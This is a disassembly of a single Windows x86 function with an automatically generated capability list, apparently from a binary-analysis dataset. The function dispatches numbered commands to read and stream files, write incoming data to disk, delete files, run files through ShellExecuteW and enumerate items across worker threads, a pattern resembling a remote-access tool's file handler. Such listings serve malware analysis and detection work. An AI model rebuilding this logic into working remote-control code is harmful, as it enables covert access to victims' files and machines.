Function at 0x401dca
Capabilities:
Create process on windows
Delete file
Get file size
Get system information on windows
Read file on windows
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x694
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
xor eax, eax
lea edi, [ebp - 0x34]
stosd dword es:[edi], eax
push ebx
stosd dword es:[edi], eax
push 9
pop esi
stosb byte es:[edi], al
mov edi, dword [ebp + 0x14]
push esi
push edi
call fcn.004015b7
add esp, 0xc
test eax, eax
je 0x40250f
push 1
push esi
lea eax, [ebp - 0x34]
push eax
mov ecx, edi
call fcn.00401184
cmp eax, esi
jne 0x40250f
mov eax, dword [ebp - 0x34]
cmp eax, 1
jne 0x401e65
lea eax, [ebp - 0x1c]
push eax
call fcn.00402b0d
pop ecx
mov ecx, eax
xor eax, eax
imul ecx, ecx, 0x52
lea edi, [ebp - 0xc]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosb byte es:[edi], al
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0xc], eax
push esi
lea eax, [ebp - 0xc]
mov dword [ebp - 7], ecx
mov ecx, dword [ebp + 0x18]
push eax
mov byte [ebp - 8], 1
call fcn.00401066
push dword [ebp - 7]
mov ecx, dword [ebp + 0x18]
push dword [ebp - 0x1c]
call fcn.00401066
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_SetEvent]
jmp 0x401f67
cmp eax, 2
jne 0x401ede
push ebx
mov ebx, 0x414
push ebx
push edi
call fcn.004015b7
add esp, 0xc
test eax, eax
je 0x40250f
push 1
push ebx
lea eax, [ebp - 0x490]
push eax
mov ecx, edi
call fcn.00401184
lea eax, [ebp - 0x490]
push eax
call fcn.00402af1
lea esi, [ebp - 0x34]
lea edi, [ebp - 0xc]
movsd dword es:[edi], dword [esi]
movzx eax, al
movsd dword es:[edi], dword [esi]
pop ecx
mov ecx, dword [ebp + 0x18]
mov dword [ebp - 0x80], eax
push 9
lea eax, [ebp - 0xc]
movsb byte es:[edi], byte [esi]
push eax
mov byte [ebp - 8], 1
mov dword [ebp - 7], ebx
call fcn.00401066
lea eax, [ebp - 0x490]
push dword [ebp - 7]
push eax
mov ecx, dword [ebp + 0x18]
call fcn.00401066
push dword [ebp + 0xc]
jmp 0x402509
cmp eax, 3
jne 0x401f75
push ebx
mov ebx, 0x414
push ebx
push edi
call fcn.004015b7
add esp, 0xc
test eax, eax
je 0x40250f
push 1
push ebx
lea eax, [ebp - 0x490]
push eax
mov ecx, edi
call fcn.00401184
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x490]
push eax
call fcn.00402c45
mov ebx, eax
imul eax, eax, 0x438
lea esi, [ebp - 0x34]
lea edi, [ebp - 0xc]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
pop ecx
pop ecx
mov ecx, dword [ebp + 0x18]
movsb byte es:[edi], byte [esi]
mov dword [ebp - 7], eax
push 9
lea eax, [ebp - 0xc]
push eax
mov byte [ebp - 8], 1
call fcn.00401066
push dword [ebp - 7]
mov ecx, dword [ebp + 0x18]
push dword [ebp - 0x1c]
call fcn.00401066
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_SetEvent]
test ebx, ebx
je 0x40250f
push dword [ebp - 0x1c]
call fcn.004012a1
pop ecx
jmp 0x40250f
cmp eax, 4
jne 0x40210c
push ebx
mov esi, 0x438
push esi
push edi
call fcn.004015b7
add esp, 0xc
test eax, eax
je 0x40250f
push 1
push esi
lea eax, [ebp - 0x4b4]
push eax
mov ecx, edi
call fcn.00401184
xor ebx, ebx
push ebx
push 0x80
push 4
push ebx
push 1
push closesocket
lea eax, [ebp - 0x4b4]
push eax
mov byte [ebp - 0xd], 1
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x24], eax
cmp eax, 0xffffffff
je 0x4020e7
lea ecx, [ebp - 0x28]
push ecx
push eax
mov dword [ebp - 0x28], ebx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push 4
push 0x3000
push 0x400000
push ebx
mov dword [ebp - 0x38], eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x14], eax
cmp eax, ebx
je 0x4020d9
mov eax, dword [ebp - 0x38]
mov ecx, dword [ebp + 0x18]
lea esi, [ebp - 0x34]
lea edi, [ebp - 0xc]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
mov dword [ebp - 7], eax
push 9
lea eax, [ebp - 0xc]
push eax
mov byte [ebp - 8], 1
call fcn.00401066
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_SetEvent]
mov esi, dword [sym.imp.KERNEL32.dll_ReadFile]
push ebx
lea eax, [ebp - 0x18]
push eax
push 0x400000
push dword [ebp - 0x14]
mov dword [ebp - 0x18], ebx
push dword [ebp - 0x24]
call esi
cmp dword [ebp - 0x18], ebx
je 0x4020c8
mov edi, 0x1400000
jmp 0x402061
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
push dword [ebp - 0x18]
mov ecx, dword [ebp + 0x18]
push dword [ebp - 0x14]
call fcn.00401066
test al, al
je 0x402056
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_SetEvent]
mov ecx, dword [ebp + 0x18]
call fcn.0040103a
cmp eax, edi
jbe 0x4020b1
jmp 0x4020a5
mov eax, dword [ebp + 0x10]
push ebx
push dword [eax]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
je 0x4020b1
push 0x12c
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [ebp + 0x18]
call fcn.0040103a
cmp eax, edi
ja 0x40208a
push ebx
lea eax, [ebp - 0x18]
push eax
push 0x400000
push dword [ebp - 0x14]
push dword [ebp - 0x24]
call esi
cmp dword [ebp - 0x18], ebx
jne 0x402061
push 0x8000
push ebx
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_VirtualFree]
jmp 0x4020dc
mov byte [ebp - 0xd], bl
push dword [ebp - 0x24]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x4020ea
mov byte [ebp - 0xd], bl
cmp byte [ebp - 0xd], bl
jne 0x40250f
lea esi, [ebp - 0x34]
lea edi, [ebp - 0xc]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
mov byte [ebp - 8], bl
mov dword [ebp - 7], ebx
push 9
lea eax, [ebp - 0xc]
jmp 0x401ecd
cmp eax, 5
jne 0x402259
push ebx
mov esi, 0x438
push esi
push edi
mov dword [ebp - 0x28], 1
call fcn.004015b7
add esp, 0xc
test eax, eax
je 0x40250f
push 1
push esi
lea eax, [ebp - 0x4b4]
push eax
mov ecx, edi
call fcn.00401184
mov esi, dword [ebp - 0x2f]
xor ebx, ebx
push ebx
push 0x80
push 2
push ebx
push ebx
push 0x40000000
lea eax, [ebp - 0x4b4]
push eax
mov dword [ebp - 0x1c], ebx
add esi, 0xfffffbc8
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x20], eax
cmp eax, 0xffffffff
je 0x402217
push 0x400000
push 8
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x24], esi
mov dword [ebp - 0x14], ebx
cmp esi, ebx
jbe 0x4021fb
mov ecx, dword [ebp - 0x24]
mov eax, 0x400000
mov dword [ebp - 0x3c], eax
cmp ecx, eax
ja 0x4021ae
mov dword [ebp - 0x3c], ecx
push dword [ebp + 8]
push 1
push edi
call fcn.004015b7
add esp, 0xc
test eax, eax
je 0x4021f4
push 1
push dword [ebp - 0x3c]
mov ecx, edi
push dword [ebp - 0x18]
call fcn.00401184
push ebx
lea ecx, [ebp - 0x38]
push ecx
push eax
push dword [ebp - 0x18]
mov dword [ebp - 0x38], ebx
push dword [ebp - 0x20]
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, dword [ebp - 0x38]
add dword [ebp - 0x14], eax
sub dword [ebp - 0x24], eax
cmp dword [ebp - 0x14], esi
jb 0x40219c
jmp 0x4021fb
mov dword [ebp - 0x1c], 1
push dword [ebp - 0x18]
push ebx
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
push dword [ebp - 0x20]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x40221a
mov dword [ebp - 0x28], ebx
cmp dword [ebp - 0x1c], ebx
je 0x402235
push dword [ebp - 0x20]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x4b4]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
lea esi, [ebp - 0x34]
lea edi, [ebp - 0xc]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
cmp dword [ebp - 0x28], ebx
je 0x4020fc
mov byte [ebp - 8], 1
cmp dword [ebp - 0x1c], ebx
je 0x4020ff
jmp 0x4020fc
cmp eax, 6
jne 0x4022c0
push ebx
mov ebx, 0x414
push ebx
push edi
call fcn.004015b7
add esp, 0xc
test eax, eax
je 0x40250f
push 1
push ebx
lea eax, [ebp - 0x490]
push eax
mov ecx, edi
call fcn.00401184
lea eax, [ebp - 0x490]
xor ebx, ebx
push eax
mov dword [ebp - 0x28], ebx
call fcn.00402af1
pop ecx
test al, al
jne 0x4022ac
lea eax, [ebp - 0x490]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
jmp 0x4022af
mov al, byte [ebp - 0x28]
lea esi, [ebp - 0x34]
lea edi, [ebp - 0xc]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
mov byte [ebp - 8], al
jmp 0x4020ff
cmp eax, 7
jne 0x402340
push ebx
mov esi, 0x438
push esi
push edi
call fcn.004015b7
add esp, 0xc
test eax, eax
je 0x40250f
push 1
push esi
lea eax, [ebp - 0x4b4]
push eax
mov ecx, edi
call fcn.00401184
lea eax, [ebp - 0x4b4]
push eax
call fcn.00402af1
pop ecx
test al, al
jne 0x402313
xor ebx, ebx
push ebx
push ebx
push ebx
lea eax, [ebp - 0x4b4]
push eax
push ebx
push ebx
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
mov ecx, dword [ebp + 0x18]
lea esi, [ebp - 0x34]
lea edi, [ebp - 0xc]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
push 9
lea eax, [ebp - 0xc]
movsb byte es:[edi], byte [esi]
push eax
mov byte [ebp - 8], 1
mov dword [ebp - 7], 0x414
call fcn.00401066
lea eax, [ebp - 0x4b4]
jmp 0x401eca
cmp eax, 8
jne 0x402503
push ebx
mov esi, 0x618
push esi
push edi
call fcn.004015b7
add esp, 0xc
test eax, eax
je 0x40250f
push 1
push esi
lea eax, [ebp - 0x694]
push eax
mov ecx, edi
call fcn.00401184
lea eax, [ebp - 0x7c]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov eax, dword [ebp - 0x68]
dec eax
xor ebx, ebx
cmp eax, ebx
je 0x40238a
mov edi, eax
jmp 0x40238d
xor edi, edi
inc edi
push ebx
push ebx
push ebx
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_CreateIoCompletionPort]
mov dword [ebp - 0x58], eax
lea eax, [ebp - 0x54]
push eax
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov dword [ebp - 0x1c], ebx
call dword [sym.imp.KERNEL32.dll_GetLastError]
push ebx
push ebx
push ebx
push ebx
call dword [0x405044]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0x20], eax
cmp edi, ebx
jbe 0x4023e4
lea eax, [ebp - 0x28]
push eax
push ebx
lea eax, [ebp - 0x58]
push eax
push 0x401ad7
push ebx
push ebx
mov dword [ebp - 0x28], ebx
call dword [0x405040]
push eax
call esi
dec edi
jne 0x4023c5
push 0x624
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x14], ebx
call fcn.0040128b
pop ecx
cmp eax, ebx
je 0x40241c
lea ecx, [ebp - 0x24]
push ecx
lea ecx, [ebp - 0x20]
push ecx
lea ecx, [ebp - 0x1c]
push ecx
lea ecx, [ebp - 0x48c]
push ecx
lea ecx, [ebp - 0x694]
push ecx
mov ecx, eax
call fcn.00401573
jmp 0x40241e
xor eax, eax
inc dword [ebp - 0x1c]
push eax
push ebx
push 4
push dword [ebp - 0x58]
call dword [sym.imp.KERNEL32.dll_PostQueuedCompletionStatus]
push 0xffffffffffffffff
push dword [ebp - 0x20]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea eax, [ebp - 0x54]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteCriticalSection]
push dword [ebp - 0x20]
call esi
push dword [ebp - 0x58]
call esi
mov edi, dword [ebp - 0x24]
mov dword [ebp - 0x18], ebx
mov eax, edi
cmp edi, ebx
je 0x402466
mov eax, dword [eax + 0x438]
inc dword [ebp - 0x14]
cmp eax, ebx
jne 0x402459
mov eax, dword [ebp - 0x14]
cmp eax, ebx
je 0x4024c8
xor ecx, ecx
mov esi, 0x438
mov edx, esi
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.0040128b
pop ecx
mov dword [ebp - 0x18], eax
cmp eax, ebx
je 0x4024ae
cmp edi, ebx
je 0x4024ae
mov dword [ebp - 0x20], eax
push esi
push edi
push dword [ebp - 0x20]
call fcn.00401551
mov edi, dword [edi + 0x438]
add dword [ebp - 0x20], esi
add esp, 0xc
cmp edi, ebx
jne 0x402494
mov eax, dword [ebp - 0x24]
cmp eax, ebx
je 0x4024c8
mov esi, dword [eax + 0x438]
push eax
call fcn.004012a1
pop ecx
mov eax, esi
cmp esi, ebx
jne 0x4024b5
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp + 0x18]
imul eax, eax, 0x438
lea esi, [ebp - 0x34]
lea edi, [ebp - 0xc]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
mov dword [ebp - 7], eax
push 9
lea eax, [ebp - 0xc]
push eax
mov byte [ebp - 8], 1
call fcn.00401066
cmp dword [ebp - 0x18], ebx
je 0x401ed6
push dword [ebp - 7]
push dword [ebp - 0x18]
jmp 0x401ece
cmp eax, esi
jne 0x40250f
push dword [ebx]
call dword [sym.imp.KERNEL32.dll_SetEvent]
pop edi
pop esi
pop ebx
leave
ret